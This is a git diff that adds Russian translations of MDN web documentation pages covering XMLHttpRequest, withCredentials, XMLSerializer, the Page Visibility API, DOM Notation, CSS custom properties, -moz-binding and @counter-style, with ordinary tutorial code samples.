+      <input id="vehicle_car" type="checkbox" name="vehicle[]" value="Car" /> <label for="vehicle_car">I have a car</label>
+    </p>
+    <p>
+      Describe yourself:<br />
+      <textarea name="description" cols="50" rows="8"></textarea>
+    </p>
+    <p>
+      <input type="submit" value="Submit" />
+    </p>
+  </fieldset>
+</form>
+
+</body>
+</html>
+
+ +
Note: As we said, {{domxref("FormData")}} objects are not stringifiable objects. If you want to stringify a submitted data, use the previous pure-AJAX example. Note also that, although in this example there are some file {{ HTMLElement("input") }} fields, when you submit a form through the FormData API you do not need to use the FileReader API also: files are automatically loaded and uploaded.
+ +

Получить дату последнего изменения

+ +
function getHeaderTime () {
+  alert(this.getResponseHeader("Last-Modified"));  /* A valid GMTString date or null */
+}
+
+var oReq = new XMLHttpRequest();
+oReq.open("HEAD" /* use HEAD if you only need the headers! */, "yourpage.html", true);
+oReq.onload = getHeaderTime;
+oReq.send();
+ +

Do something when last modified date changes

+ +

Let's create these two functions:

+ +
function getHeaderTime () {
+
+  var
+    nLastVisit = parseFloat(window.localStorage.getItem('lm_' + this.filepath)),
+    nLastModif = Date.parse(this.getResponseHeader("Last-Modified"));
+
+  if (isNaN(nLastVisit) || nLastModif > nLastVisit) {
+    window.localStorage.setItem('lm_' + this.filepath, Date.now());
+    isFinite(nLastVisit) && this.callback(nLastModif, nLastVisit);
+  }
+
+}
+
+function ifHasChanged(sURL, fCallback) {
+  var oReq = new XMLHttpRequest();
+  oReq.open("HEAD" /* use HEAD - we only need the headers! */, sURL, true);
+  oReq.callback = fCallback;
+  oReq.filepath = sURL;
+  oReq.onload = getHeaderTime;
+  oReq.send();
+}
+ +

Test:

+ +
/* Let's test the file "yourpage.html"... */
+
+ifHasChanged("yourpage.html", function (nModif, nVisit) {
+  alert("The page '" + this.filepath + "' has been changed on " + (new Date(nModif)).toLocaleString() + "!");
+});
+ +

If you want to know whether the current page has changed, please read the article about document.lastModified.

+ +

Межсайтовые XMLHttpRequest

+ +

Современные браузеры поддерживают межсайтовые запросы по стандарту Access Control for Cross-Site Requests. Для этого, серверу необходимо дополнительно указывать заголовок origin. В противном случае, выбрасывается исключение INVALID_ACCESS_ERR.

+ +

Обход кеширования

+ +

Для кросс-браузерного обхода кеширования в конец URL-запроса достаточно добавить случайную строку в GET-параметры, то есть сразу после «?», например:

+ +
http://foo.com/bar.html -> http://foo.com/bar.html?12345
+http://foo.com/bar.html?foobar=baz -> http://foo.com/bar.html?foobar=baz&12345
+
+ +

Таким образом, каждый новый запрос будет происходить по новому URL и кеширование страницы не будет производиться.

+ +

Автоматизировать этот подход можно следующим сниппетом:

+ +
var oReq = new XMLHttpRequest();
+
+oReq.open("GET", url + ((/\?/).test(url) ? "&" : "?") + (new Date()).getTime(), true);
+oReq.send(null);
+ +

Безопасность

+ +

{{fx_minversion_note(3, "Versions of Firefox prior to Firefox 3 allowed you to set the preference capability.policy.<policyname>.XMLHttpRequest.open</policyname> to allAccess to give specific sites cross-site access.  This is no longer supported.")}}

+ +

{{fx_minversion_note(5, "Versions of Firefox prior to Firefox 5 could use netscape.security.PrivilegeManager.enablePrivilege(\"UniversalBrowserRead\"); to request cross-site access. This is no longer supported, even though it produces no warning and permission dialog is still presented.")}}

+ +

The recommended way to enable cross-site scripting is to use the Access-Control-Allow-Origin HTTP header in the response to the XMLHttpRequest.

+ +

XMLHttpRequests being stopped

+ +

If you end up with an XMLHttpRequest having status=0 and statusText=null, it means that the request was not allowed to be performed. It was UNSENT. A likely cause for this is when the XMLHttpRequest origin (at the creation of the XMLHttpRequest) has changed when the XMLHttpRequest is then open(). This case can happen for example when one has an XMLHttpRequest that gets fired on an onunload event for a window: the XMLHttpRequest gets in fact created when the window to be closed is still there, and then the request is sent (ie open()) when this window has lost its focus and potentially different window has gained focus. The way to avoid this problem is to set a listener on the new window "activate" event that gets set when the old window has its "unload" event fired.

+ +

Using XMLHttpRequest from JavaScript modules / XPCOM components

+ +

Instantiating XMLHttpRequest from a JavaScript module or an XPCOM component works a little differently; it can't be instantiated using the XMLHttpRequest() constructor. The constructor is not defined inside components and the code results in an error. The best way to work around this is to use the XPCOM component constructor.

+ +
const XMLHttpRequest = Components.Constructor("@mozilla.org/xmlextras/xmlhttprequest;1", "nsIXMLHttpRequest");
+
+ +

Unfortunately in versions of Gecko prior to Gecko 16 there is a bug which can cause requests created this way to be cancelled for no reason.  If you need your code to work on Gecko 15 or earlier, you can get the XMLHttpRequest constructor from the hidden DOM window like so.

+ +
const { XMLHttpRequest } = Components.classes["@mozilla.org/appshell/appShellService;1"]
+                                     .getService(Components.interfaces.nsIAppShellService)
+                                     .hiddenDOMWindow;
+var oReq = new XMLHttpRequest();
+ +

Дополнительные ссылки

+ +
    +
  1. MDN AJAX introduction
    2. +
  2. HTTP access control
    3. +
  3. How to check the security state of an XMLHTTPRequest over SSL
    4. +
  4. XMLHttpRequest - REST and the Rich User Experience
    5. +
  5. Microsoft documentation
    6. +
  6. Apple developers' reference
    7. +
  7. "Using the XMLHttpRequest Object" (jibbering.com)
    8. +
  8. The XMLHttpRequest Object: W3C Specification
    9. +
  9. Web Progress Events specification
    10. +
diff --git a/files/ru/web/api/xmlhttprequest/withcredentials/index.html b/files/ru/web/api/xmlhttprequest/withcredentials/index.html new file mode 100644 index 0000000000..805108a15f --- /dev/null +++ b/files/ru/web/api/xmlhttprequest/withcredentials/index.html @@ -0,0 +1,104 @@ +--- +title: XMLHttpRequest.withCredentials +slug: Web/API/XMLHttpRequest/withCredentials +tags: + - AJAX + - API + - XMLHttpRequest + - Свойство + - Справка +translation_of: Web/API/XMLHttpRequest/withCredentials +--- +

{{APIRef('XMLHttpRequest')}}

+ +

Свойство XMLHttpRequest.withCredentials это {{jsxref("Boolean")}} который определяет, должны ли создаваться кросс-доменные Access-Control запросы с использованием таких идентификационных данных как cookie, авторизационные заголовки или TLS сертификаты. Настройка withCredentials бесполезна при запросах на тот же домен.

+ +

Вдобавок, этот флаг также используется для определения, будут ли проигнорированы куки переданные в ответе. Значение по умолчанию - false. XMLHttpRequest с другого домена не может установить cookie на свой собственный домен в случае, если перед созданием этого запроса флаг withCredentials не установлен в true. Сторонние cookies, полученные с помощью установки withCredentials в true, всё равно будут соблюдать политику одинакового домена и, следовательно, не могут быть получены запрашивающим скриптом через document.cookie или из заголовков ответа.

+ +
+

Примечание: Это свойство не влияет на запросы, отправленные на тот же домен.

+
+ +
+

Примечание: Ответы с другого домена не могут установить куки для своего собственного домена в случае, если перед созданием запроса флаг withCredentials не установлен в true, несмотря на значение заголовков Access-Control-.

+
+ +

Пример

+ +
var xhr = new XMLHttpRequest();
+xhr.open('GET', 'http://example.com/', true);
+xhr.withCredentials = true;
+xhr.send(null);
+ +

Спецификации

+ + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('XMLHttpRequest', '#the-withcredentials-attribute')}}{{Spec2('XMLHttpRequest')}}Действующий стандарт WHATWG
+ +

Браузерная совместимость

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Базовая поддержка{{CompatChrome(3)}}{{CompatGeckoDesktop("1.9.1")}}[2]{{CompatIe(10)}}[1]{{CompatOpera(12)}}{{CompatSafari("4")}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Базовая поддержка{{CompatUnknown}}{{CompatUnknown}}{{CompatVersionUnknown}}[2]{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +

[1] Internet Explorer версий 8 и 9 поддерживает кросс-доменные запросы (CORS) используя XDomainRequest.

+ +

[2] Начиная с Gecko 11.0 (Firefox 11.0 / Thunderbird 11.0 / SeaMonkey 2.8), Gecko больше не позволяет использовать аттрибут withCredentials при проведении синхронных запросов. Попытки это сделать выбросят исключение NS_ERROR_DOM_INVALID_ACCESS_ERR.

diff --git a/files/ru/web/api/xmlhttprequest/xmlhttprequest/index.html b/files/ru/web/api/xmlhttprequest/xmlhttprequest/index.html new file mode 100644 index 0000000000..53fb283a75 --- /dev/null +++ b/files/ru/web/api/xmlhttprequest/xmlhttprequest/index.html @@ -0,0 +1,58 @@ +--- +title: XMLHttpRequest() +slug: Web/API/XMLHttpRequest/XMLHttpRequest +tags: + - API + - Reference + - XHR + - XMLHttpRequest + - Конструктор + - Получение данных + - Чтение данных +translation_of: Web/API/XMLHttpRequest/XMLHttpRequest +--- +

XMLHttpRequest

+ +

Конструктор XMLHttpRequest() создаёт новый объект {{domxref("XMLHttpRequest")}}.

+ +

Для получения подробной информации о том, как использовать XMLHttpRequest, см. Использование XMLHttpRequest.

+ +

Синтаксис

+ +
const request = new XMLHttpRequest();
+
+ +

Параметры

+ +

Нет.

+ +

Возвращаемое значение

+ +

Новый объект {{domxref("XMLHttpRequest")}}. Этот объект должен быть подготовлен вызовом функции {{domxref("XMLHttpRequest.open", "open()")}} перед вызовом {{domxref("XMLHttpRequest.send", "send()")}} для отправки запроса на сервер.

+ +

Нестандартный синтаксис Firefox 

+ +

В Firefox 16 в конструктор добавлен нестандартный параметр, который позволяет включать анонимный режим (см. {{Bug("692677")}}). Установка флага mozAnon в значение true по сути напоминает конструктор AnonXMLHttpRequest(), описанный в более старых версиях спецификации XMLHttpRequest.

+ +
const request = new XMLHttpRequest(paramsDictionary);
+ +

Параметры (нестандартные)

+ +
+
objParameters 
+
Существует два флага, которые можно установить: +
+
mozAnon
+
Boolean: Установка этого флага в значение true приведет к тому, что браузер не будет раскрывать {{Glossary("origin")}} и учётные данные пользователя при получении ресурсов. Главным образом это означает, что файлы {{Glossary("Cookie", "cookies")}} не будут отправлены, если они не добавлены явно с использованием setRequestHeader.
+
mozSystem
+
Boolean: Установка этого флага в значение true позволяет устанавливать межсайтовые соединения не требуя подключения сервера с помощью {{Glossary("CORS")}}. Требует установки флага mozAnon: true, т.к. это нельзя сочетать с отправкой файлов cookie или других учетных данных пользователя. Это работает только в привилегированных (проверенных) приложениях ({{Bug ("692677")}}));  не работает на произвольных веб-страницах, загруженных в Firefox.
+
+
+
+ +

См. также

+ + diff --git a/files/ru/web/api/xmlserializer/index.html b/files/ru/web/api/xmlserializer/index.html new file mode 100644 index 0000000000..45c917981d --- /dev/null +++ b/files/ru/web/api/xmlserializer/index.html @@ -0,0 +1,108 @@ +--- +title: XMLSerializer +slug: Web/API/XMLSerializer +translation_of: Web/API/XMLSerializer +--- +
XMLSerializer может быть использован для конвертации веток DOM-дерева или дерева целиком в текст. XMLSerializer доступен непривелегированным скриптам.
+ +

Для получения более подробной информации об XMLSerializer в расширениях для браузера Firefox, пожалуйста обратитесь к документции nsIDOMSerializer.

+ +

Методы

+ +
+
XMLSerializer.serializeToString()
+
Возвращает сериализованное дерево или ветку в виде строки
+
XMLSerializer.serializeToStream() {{ non-standard_inline() }}{{ deprecated_inline() }}
+
Поддерево, обернутое в указанный элемент, сериализуется в поток байтов с использованием указанной кодировки.
+
+ +

Примеры

+ +
 var s = new XMLSerializer();
+ var d = document;
+ var str = s.serializeToString(d);
+ alert(str);
+ +

The next example uses XMLSerializer with insertAdjacentHTML() to insert a newly created DOM Node into the Document's body. Because insertAdjacentHTML() accepts a string and not a Node for its second parameter, XMLSerializer is used to first convert the node into a string.

+ +
var inp = document.createElement('input');
+var XMLS = new XMLSerializer();
+var inp_xmls = XMLS.serializeToString(inp); // Конвертируем DOM эелемент в сторку
+
+
+// Вставляет вновь созданный элемент в тело документа
+document.body.insertAdjacentHTML('afterbegin', inp_xmls);
+ +

Браузерная совместимость

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Базовая поддержка{{CompatVersionUnknown}}{{CompatVersionUnknown}}9.0{{CompatVersionUnknown}}3.0.4
serializeToStream() {{ non-standard_inline() }}{{CompatNo}}Удалено в  {{CompatGeckoDesktop("20.0")}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Базовая поддержка{{CompatUnknown}}{{CompatVersionUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
serializeToStream() {{ non-standard_inline() }}{{CompatNo}}Removed in {{CompatGeckoDesktop("20.0")}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
+
+ +

Смотрите так же

+ + diff --git "a/files/ru/web/api/\320\262\320\270\320\264\320\270\320\274\320\276\321\201\321\202\321\214_\321\201\321\202\321\200\320\260\320\275\320\270\321\206\321\213_api/index.html" "b/files/ru/web/api/\320\262\320\270\320\264\320\270\320\274\320\276\321\201\321\202\321\214_\321\201\321\202\321\200\320\260\320\275\320\270\321\206\321\213_api/index.html" new file mode 100644 index 0000000000..9b181e92d1 --- /dev/null +++ "b/files/ru/web/api/\320\262\320\270\320\264\320\270\320\274\320\276\321\201\321\202\321\214_\321\201\321\202\321\200\320\260\320\275\320\270\321\206\321\213_api/index.html" @@ -0,0 +1,195 @@ +--- +title: Видимость страницы API +slug: Web/API/Видимость_страницы_API +tags: + - API + - DOM + - Документ + - Показать страницу + - Скрыть страницу +translation_of: Web/API/Page_Visibility_API +--- +
{{DefaultAPISidebar("Page Visibility API")}}
+ +

При переключении между вкладками, web страница переходит в фоновый режим и поэтому не видна пользователю. Page Visibility API предоставляет события, которые вы можете отслеживать, чтобы узнать, когда страница станет видимой или скрытой, а так же возможность наблюдать текущее состояние видимости страницы.

+ +
+

Notes: The Page Visibility API особенно полезно для сбережения ресурсов и улучшения производительности, позволяя странице остановить выполнение не нужных задач, когда она не видна.

+
+ +

Когда пользователь сворачивает окно или переключается на другую вкладку, API отправляет {{event("visibilitychange")}} событие обработчикам, что состояние страницы изменилось. Вы можете отследить это событие и выполнить какие-то действия. Например, если ваше app проигрывает видео, его можно поставить на паузу, когда пользователь переключил вкладку (страница ушла в фон), а затем возобновить видео, когда пользователь вернулся на вкладку. Пользователь не теряет место на котором остановил просмотр, звук от видео не конфликтует с аудио новой вкладки, пользователь комфортно просмотрить оба видео.

+ +

Состояния видимости для {{HTMLElement("iframe")}} такие же как и для родительской страницы. Скрытие <iframe> используя CSS стили (такие как {{cssxref("display", "display: none;")}}) не вызывают события видимости и не изменяют состояние документа, содержащегося во фрейме.

+ +

Использование

+ +

Давайте рассмотрим несколько способов использования Page Visibility API.

+ + + +

Раньше у разработчиков были не удобные способы. Например, обработка {{event("blur")}} и {{event("focus")}} событий на объекте window - помогала узнать когда страница становилась не активной, но это не давало возможность понять когда страница действительно скрыта от пользователя. Page Visibility API решает эту проблему.

+ +
+

Note: Когда {{domxref("GlobalEventHandlers.onblur", "onblur")}} и {{domxref("GlobalEventHandlers.onfocus", "onfocus")}} уведомляют, что пользователь переключил окна, это не означает, что оно действительно скрыто. Страница действительно скрыта, когда пользователь переключил вкладки или свернул окно браузера с этой вкладкой.

+
+ +

Policies in place to aid background page performance

+ +

Separately from the Page Visibility API, user agents typically have a number of policies in place to mitigate the performance impact of background or hidden tabs. These may include:

+ + + +

Some processes are exempt from this throttling behavior. In these cases, you can use the Page Visibility API to reduce the tabs' performance impact while they're hidden.

+ + + +

Example

+ +

View live example (video with sound).

+ +

The example, which pauses the video when you switch to another tab and plays again when you return to its tab, was created with the following code:

+ +
// Set the name of the hidden property and the change event for visibility
+var hidden, visibilityChange;
+if (typeof document.hidden !== "undefined") { // Opera 12.10 and Firefox 18 and later support
+  hidden = "hidden";
+  visibilityChange = "visibilitychange";
+} else if (typeof document.msHidden !== "undefined") {
+  hidden = "msHidden";
+  visibilityChange = "msvisibilitychange";
+} else if (typeof document.webkitHidden !== "undefined") {
+  hidden = "webkitHidden";
+  visibilityChange = "webkitvisibilitychange";
+}
+
+var videoElement = document.getElementById("videoElement");
+
+// If the page is hidden, pause the video;
+// if the page is shown, play the video
+function handleVisibilityChange() {
+  if (document[hidden]) {
+    videoElement.pause();
+  } else {
+    videoElement.play();
+  }
+}
+
+// Warn if the browser doesn't support addEventListener or the Page Visibility API
+if (typeof document.addEventListener === "undefined" || hidden === undefined) {
+  console.log("This demo requires a browser, such as Google Chrome or Firefox, that supports the Page Visibility API.");
+} else {
+  // Handle page visibility change
+  document.addEventListener(visibilityChange, handleVisibilityChange, false);
+
+  // When the video pauses, set the title.
+  // This shows the paused
+  videoElement.addEventListener("pause", function(){
+    document.title = 'Paused';
+  }, false);
+
+  // When the video plays, set the title.
+  videoElement.addEventListener("play", function(){
+    document.title = 'Playing';
+  }, false);
+
+}
+
+ +

Properties added to the Document interface

+ +

The Page Visibility API adds the following properties to the {{domxref("Document")}} interface:

+ +
+
{{domxref("Document.hidden")}} {{ReadOnlyInline}}
+
Returns true if the page is in a state considered to be hidden to the user, and false otherwise.
+
{{domxref("Document.visibilityState")}} {{ReadOnlyInline}}
+
A {{domxref("DOMString")}} indicating the document's current visibility state. Possible values are: +
+
visible
+
The page content may be at least partially visible. In practice this means that the page is the foreground tab of a non-minimized window.
+
hidden
+
The page's content is not visible to the user, either due to the document's tab being in the background or part of a window that is minimized, or because the device's screen is off.
+
prerender
+
The page's content is being prerendered and is not visible to the user. A document may start in the prerender state, but will never switch to this state from any other state, since a document can only prerender once. +
Note: Not all browsers support prerendering.
+
+
unloaded
+
The page is in the process of being unloaded from memory. +
Note: Not all browsers support the unloaded value.
+
+
+
+
{{domxref("Document.onvisibilitychange")}}
+
An {{domxref("EventListener")}} providing the code to be called when the {{event("visibilitychange")}} event is fired.
+
+ +
//startSimulation and pauseSimulation defined elsewhere
+function handleVisibilityChange() {
+  if (document.hidden) {
+    pauseSimulation();
+  } else  {
+    startSimulation();
+  }
+}
+
+document.addEventListener("visibilitychange", handleVisibilityChange, false);
+
+ +

Specifications

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Page Visibility API')}}{{Spec2('Page Visibility API')}}Initial definition.
+ +

Browser compatibility

+ +
+

Document.visibilityState

+ +
+ + +

{{Compat("api.Document.visibilityState")}}

+
+
+ +

See also

+ + diff --git "a/files/ru/web/api/\320\275\320\276\321\202\320\260\321\206\320\270\321\217/index.html" "b/files/ru/web/api/\320\275\320\276\321\202\320\260\321\206\320\270\321\217/index.html" new file mode 100644 index 0000000000..a1f468a55d --- /dev/null +++ "b/files/ru/web/api/\320\275\320\276\321\202\320\260\321\206\320\270\321\217/index.html" @@ -0,0 +1,52 @@ +--- +title: Нотация +slug: Web/API/Нотация +tags: + - Нотация +translation_of: Web/API/Notation +--- +
{{APIRef("DOM")}}{{draft}}{{obsolete_header}}
+ +

Представляет нотацию DTD (только для чтения). Может объявлять формат неразобранного объекта или формально объявлять цели инструкции по обработке документа. Наследует методы и свойства от Node. Его nodeName - это имя нотации. Не имеет родителя.

+ +

Свойства

+ +
+
{{domxref("Notation.publicId")}} {{ReadOnlyInline}}
+
Это {{domxref("DOMString")}}.
+
{{domxref("Notation.systemId")}} {{ReadOnlyInline}}
+
Это {{domxref("DOMString")}}.
+
+ +

Спецификации

+ + + + + + + + + + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарии
{{SpecName("DOM3 Core", "core.html#ID-5431D1B9", "Notation")}}{{Spec2("DOM3 Core")}}Без изменений
{{SpecName("DOM2 Core", "core.html#ID-5431D1B9", "Notation")}}{{Spec2("DOM2 Core")}}Без изменений
{{SpecName('DOM1', 'level-one-core.html#ID-5431D1B9', 'Notation')}}{{Spec2('DOM1')}}Первое определение
+ +

Поддержка браузерами

+ + + +

{{Compat("api.Notation")}}

diff --git a/files/ru/web/css/--_star_/index.html b/files/ru/web/css/--_star_/index.html new file mode 100644 index 0000000000..541d7ab62e --- /dev/null +++ b/files/ru/web/css/--_star_/index.html @@ -0,0 +1,14 @@ +--- +title: Переменные (--*) +slug: Web/CSS/--* +tags: + - CSS + - CSS Variables + - Property +translation_of: Web/CSS/--* +--- +

{{CSSRef}}{{SeeCompatTable}}

+ +

Имена свойств с префиксом --, типа --example-name, представляют собой свои свойства, содержащие значение, которое можно использовать по всему документу, используя ({{cssxref("var()")}}).

+ +

Свои свойства участвуют в каскаде: каждое из них может появляться несколько раз, а значение переменной соответствует значению определённому в своём свойстве по алгоритму каскадирования.

diff --git a/files/ru/web/css/-moz-binding/index.html b/files/ru/web/css/-moz-binding/index.html new file mode 100644 index 0000000000..e9c8b29c44 --- /dev/null +++ b/files/ru/web/css/-moz-binding/index.html @@ -0,0 +1,115 @@ +--- +title: '-moz-binding' +slug: Web/CSS/-moz-binding +translation_of: Archive/Web/CSS/-moz-binding +--- +
{{CSSRef}}{{Non-standard_Header}}{{Deprecated_Header(57)}}
+ +

The -moz-binding CSS property is used by Mozilla-based applications to attach an XBL binding to a DOM element.

+ +

{{CSSInfo}}

+ +

Syntax

+ +
/* <url> value */
+-moz-binding: url(http://www.example.org/xbl/htmlBindings.xml#checkbox);
+
+/* Global values */
+-moz-binding: inherited;
+-moz-binding: initial;
+-moz-binding: unset;
+
+ +

Values

+ +
+
{{CSSxRef("<url>")}}
+
The URL for the XBL binding (including the fragment identifier).
+
none
+
No XBL binding is applied to the element.
+
+ +

Formal syntax

+ +
{{CSSSyntax}}
+ +

Example

+ +
.exampleone {
+  -moz-binding: url(http://www.example.org/xbl/htmlBindings.xml#radiobutton);
+}
+ +

Specifications

+ +

Not part of any specification.

+ +

Browser compatibility

+ +
+

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefoxIEOperaSafari
Basic support {{Deprecated_Inline}}{{CompatNo}}{{CompatNo}}{{CompatVersionUnknown}} [1]{{CompatNo}}{{CompatNo}}{{CompatNo}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureWebView AndroidChrome AndroidEdge MobileFirefox AndroidOpera AndroidSafari iOSSamsung Internet Android
Basic support {{Deprecated_Inline}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatUnknown}} [1]{{CompatNo}}{{CompatNo}}{{CompatNo}}
+
+ +

1. XBL is deprecated and being removed (See {{bug(1397874)}}).

+
+ +

See also

+ + diff --git a/files/ru/web/css/@counter-style/additive-symbols/index.html b/files/ru/web/css/@counter-style/additive-symbols/index.html new file mode 100644 index 0000000000..97570d3e45 --- /dev/null +++ b/files/ru/web/css/@counter-style/additive-symbols/index.html @@ -0,0 +1,125 @@ +--- +title: additive-symbols +slug: Web/CSS/@counter-style/additive-symbols +translation_of: Web/CSS/@counter-style/additive-symbols +--- +

Описание

+ +

Дескриптор аддитивных символов аналогичен дескриптору {{cssxref('symbols')}} и позволяет пользователю указывать символы которые будут использоваться для представлений счетчика, когда значение дескриптора {{cssxref('system')}}  адиктивное. Дескриптор additive-symbols определяет так называемые аддитивные кортежи, каждый из которых представляет собой пару, содержащую символ и неотрицательный целочисленный вес. Аддитивная система используется для построения систем нумерации знаков, таких как римские цифры.

+ +

Когда значение системного дескриптора является циклическим, числовым, буквенным, символическим или фиксированным, дескриптор symbols используется вместо аддитивных символов для указания символов счетчика.

+ +

{{cssinfo}}

+ +

Синтаксис

+ +
additive-symbols: 3 "0";
+additive-symbols: 3 "0", 2 "\2E\20";
+additive-symbols: 3 "0", 2 url(symbol.png);
+
+ +

Формальный синтаксис

+ +
{{csssyntax}}
+ +

Пример

+ +

HTML

+ +
<ul class="list">
+   <li>One</li>
+   <li>Two</li>
+   <li>Three</li>
+   <li>Four</li>
+   <li>Five</li>
+</ul>
+ +

CSS

+ +
@counter-style additive-symbols-example {
+  system: additive;
+  additive-symbols: I 1;
+}
+.list {
+  list-style: additive-symbols-example;
+}
+ +

Результат

+ +

{{ EmbedLiveSample('Example') }}

+ +

Спецификации

+ + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('CSS3 Counter Styles', '#counter-style-symbols', 'additive-symbols')}}{{Spec2('CSS3 Counter Styles')}}Первоначальное определение
+ +

Совместимость с браузерами

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Базовая поддержка{{CompatNo}}{{CompatGeckoDesktop(33)}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
+
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Базовая поддержка{{CompatNo}}{{CompatGeckoDesktop(33)}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
+
+ +

Смотрите также

+ + diff --git a/files/ru/web/css/@counter-style/index.html b/files/ru/web/css/@counter-style/index.html new file mode 100644 index 0000000000..d93ef88d12 --- /dev/null +++ b/files/ru/web/css/@counter-style/index.html @@ -0,0 +1,196 @@ +--- +title: '@counter-style' +slug: Web/CSS/@counter-style +tags: + - CSS CSS At-rule CSS Counter Styles Reference + - NeedsTranslation + - TopicStub +translation_of: Web/CSS/@counter-style +--- +

{{CSSRef}}

+ +

Описание

+ +

The @counter-style CSS at-rule lets authors define specific counter styles that are not part of the predefined set of styles. A @counter-style rule defines how to convert a counter value into a string representation.

+ +

Initial version of CSS defined a set of useful counter styles. Although more styles where added to this set of predefined styles over the years, this restrictive way proved unable to fulfill the needs of worldwide typography. The @counter-style at-rule addresses this shortcoming in an open-ended manner, by allowing authors to define their own counter styles when the pre-defined styles aren't fitting their needs.

+ +

Синтаксис

+ +

Дескрипторы

+ +

Each @counter-style is identified by a name and has a set of descriptors.

+ +
+
{{cssxref("@counter-style/system", "system")}}
+
Specifies the algorithm to be used for converting the integer value of a counter to a string representation.
+
+ +
+
{{cssxref("@counter-style/negative", "negative")}}
+
Lets the author specify symbols to be appended or prepended to the counter representation if the value is negative.
+
+ +
+
{{cssxref("@counter-style/prefix", "prefix")}}
+
Specifies a symbol that should be prepended to the marker representation. Prefixes are added to the representation in the final stage, so in the final representation of the counter, it comes before the negative sign.
+
+ +
+
{{cssxref("@counter-style/suffix", "suffix")}}
+
Specifies, similar to the prefix descriptor, a symbol that is appended to the marker representation. Prefixes come after the marker representation.
+
+ +
+
{{cssxref("@counter-style/range", "range")}}
+
Defines the range of values over which the conter style is applicable. If a counter style is used to represent a counter value outside of its ranges, the counter style will drop back to its fallback style.
+
+ +
+
{{cssxref("@counter-style/pad", "pad")}}
+
Is used when you need the marker representations to be of a minimum length. For example if you want the counters to start start at 01 and go through 02, 03, 04 etc, then the pad descriptor is to be used. For representations larger than the specified pad value, the marker is constructed as normal.
+
+ +
+
{{cssxref("@counter-style/fallback", "fallback")}}
+
Specifies a system to fall back into if either the specified system is unable to construct the representation of or a counter value or if the counter value outside the specified range. If the specified fallback also fails to represent the value, then the fallback style's fallback is used, if one is specified. If there are either no fallback systems described or if the chain of fallback systems are unable to represent a counter value, then it will ultimately fall back to the decimal style.
+
+ +
+
{{cssxref("@counter-style/symbols", "symbols")}}
+
Specifies the symbols that are to be used for the marker representations. Symbols can contain string, images or custom identifiers. How the symbols are used to construct the marker representation is up to the algorithm specified in the system descriptor. For example, if the system specified is fixed, then each of the N symbols specified in the descriptor will be used to represent the first N counter symbols. Once the specified set of symbols have exhausted, the fallback style will be used for the rest of the list.
+
+ The below @counter-style rule uses images instead of character symbols.
+ + 
@counter-style winners-list {
+  system: fixed;
+  symbols: url(gold-medal.svg) url(silver-medal.svg) url(bronze-medal.svg);
+  suffix: " ";
+}
+
+
+ +
+
{{cssxref("@counter-style/additive-symbols", "additive-symbols")}}
+
While the symbols specified in the symbols descriptor is used for constructing marker representation by most algorithms, some systems such as 'additive' rely on additive tuples described in this descriptor. Each additive tuple consists of a counter symbol and a non negative integer weight. The additive tuples must be specified in the descending order of their weights.
+
+ +
+
{{cssxref("@counter-style/speak-as", "speak-as")}}
+
Describes how to read out the counter style in speech synthesizers, such as screen readers. For example, the value of the marker symbol can be read out as numbers or alphabets for ordered lists or as audio cues for unordered lists, based on the value of this descriptor.
+
+ +

Формальный синтаксис

+ +
{{csssyntax}}
+
+ +

Примеры

+ +
@counter-style circled-alpha {
+  system: fixed;
+  symbols: Ⓐ Ⓑ Ⓒ Ⓓ Ⓔ Ⓕ Ⓖ Ⓗ Ⓘ Ⓙ Ⓚ Ⓛ Ⓜ Ⓝ Ⓞ Ⓟ Ⓠ Ⓡ Ⓢ Ⓣ Ⓤ Ⓥ Ⓦ Ⓧ Ⓨ Ⓩ;
+  suffix: " ";
+}
+ +

The above counter style rule can be applied to lists like this:

+ +
.items {
+   list-style: circled-alpha;
+}
+
+ +

Which will produce lists like this:

+ +

Ⓐ One
+ Ⓑ Two
+ Ⓒ Three
+ Ⓓ Four
+ Ⓔ FIve
+ ....
+ ...
+ Ⓨ Twenty Five
+ Ⓩ Twenty Six

+ +

27 Twenty Seven
+ 28 Twenty Eight
+ 29 Twenty Nine
+ 30 Thirty

+ +

Checkout more examples on the demo page.

+ +

Спецификации

+ + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('CSS3 Counter Styles', '#the-counter-style-rule', 'counter-style')}}{{Spec2('CSS3 Counter Styles')}}Первоначальное определение
+ +

Совместимость с браузерами

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Базовая поддержка{{CompatNo}}{{CompatGeckoDesktop(33)}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
+
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
